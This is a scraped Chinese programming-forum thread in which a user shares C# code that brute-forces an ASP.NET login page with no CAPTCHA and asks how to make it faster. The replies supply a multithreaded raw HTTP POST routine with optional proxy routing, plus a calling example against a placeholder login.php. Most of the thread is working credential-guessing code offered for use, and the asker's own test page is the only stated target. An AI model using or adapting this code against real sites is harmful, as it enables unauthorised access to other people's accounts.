首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > .NET > C# >

无验证码的登录页面暴力进去分析

2013-03-10 
无验证码的登录页面暴力进入分析想和大家讨论一个暴力登录的问题自己用ASP.NET写了一个登录页面protected

无验证码的登录页面暴力进入分析
想和大家讨论一个暴力登录的问题

自己用ASP.NET写了一个登录页面


protected void Button1_Click(object sender, EventArgs e)
        {
            if (this.TextBox1.Text.Trim()=="123" && this.TextBox2.Text.Trim()=="66666")
            {
                Server.Transfer("Success.htm");
            }
            else
            {
                Response.Write("<script>alert('NO');</script>");
            }
        }


可以看到如果用户名与密码正确的话,就转到成功页面,如果不正确的话,依然停在此页面,只是返回一个alert的提示。

然后再另一个solution写了一个暴力登录的winform小程序。使用的是WebBrowser.其关键部分是

private void wb_DocumentCompleted(object sender, EventArgs e)
        {
            MyWebBrowser webBrowser = sender as MyWebBrowser;
            HtmlDocument doc = webBrowser.Document;
            if (doc.Title == Login")//一旦返回的是登录界面,说明密码错误,tempPass加1接着尝试
            {
                webBrowser.Info.Temp = _tempPass;
                _tempPass++;
                HtmlElement txtName = doc.GetElementById("TextBox1");
                txtName.InnerText = "admin";
                HtmlElement txtPassword = doc.GetElementById("TextBox2");
                txtPassword.InnerText = webBrowser.Info.Temp.ToString();
                HtmlElement clickBtn = doc.GetElementById("Button1");
                clickBtn.InvokeMember("Click");
            }
            else
            {
                using (StreamWriter sw = new StreamWriter("C:\\Projects\\WebLoginsimulation\\WebLoginsimulation\\Log.txt"))
                {
                    sw.WriteLine(webBrowser.Info.Temp);
                    sw.WriteLine("-------------------");


                    sw.Write("The date is: ");
                    sw.WriteLine(DateTime.Now);

                }

                for (int i = 0; i < list.Count; i++)
                {
                    if (i != webBrowser.Info.ThreadId)
                    {
                        Thread t = list[i];
                        t.Abort();
                    }
                }
            }
        }



这样做,有时候能够成功,可是太慢了。即使开多个线程,也慢。有没有什么快的方法呢?
[解决办法]
自己截登录包,得到POST的数据格式,然后构造httppost,多线程。不要使用webbrowser这种有客户端显示的-,-。最多拿他取个COOKIE。。。。
[解决办法]
随便找的段以前的,可以,类似这种POST,自己放多线程里去POST。 
private string httpposturl(string url, string postData, string cookies)
        {
            try
            {
                ASCIIEncoding encoding = new ASCIIEncoding(); //post方法,可能对速度有影响
                byte[] data = encoding.GetBytes(postData);
                data = encoding.GetBytes(postData);
                data = Encoding.UTF8.GetBytes(postData);
                // Prepare web request
                HttpWebRequest myRequest =
                    (HttpWebRequest)WebRequest.Create(url);
                #region 是否使用代理
                if (this.cb_useProxy.Checked == true)
                {
                    myRequest.Proxy = wb; //这个wb是webproxy,请自行略去


                }
                #endregion
                #region 包的各个属性
                myRequest.Headers["Cookie"] = cookies;
                myRequest.Method = "POST";
                //myRequest2.Referer = "http://xxx.xxxx.com:62880";
                myRequest.ContentType = "application/x-www-form-urlencoded";
                myRequest.ContentLength = data.Length;
                #region
                Stream newStream = myRequest.GetRequestStream();
                // Send the data.
                newStream.Write(data, 0, data.Length);
                newStream.Close();
                HttpWebResponse myResponse = (HttpWebResponse)myRequest.GetResponse();
                //StreamReader reader2 = new StreamReader(myResponse2.GetResponseStream(), Encoding.UTF8);
                StreamReader reader = new StreamReader(myResponse.GetResponseStream(), Encoding.UTF8);
                string content = reader.ReadToEnd();
                return content;
            }
            catch (Exception ex)
            {
                //this.Invoke(new DelegateWriteHelp(WriteHelp), new object[] { "发送未成功等待重新发送.....\r\n" });
                throw ex;
            }
        }

[解决办法]
简单的调用例子。 
 string url = "http://wwww.xxx.com/login.php";
 cookies = (string)this.Invoke(new DelegateGetCookie(getCookie), new object[] { });
 //线程中无法直接获取webbrowser的COOKIE,因此使用代理,实际就是随便取个COOKIE
 
  string postdate = "server_id=1&username=aaa&password=bbb&mail=g2gg@gmail.com";//截取到的需要提交的数据
  string content = httpposturl(url, postdate, cookies);
  然后content会有返回内容,实际就是你提交后跳转的页面的HTML代码-,-。请对content进行分析是否登录成功,比如  content.indexOf("登录成功")>=0 之类的。。。。请自行处理。

热点排行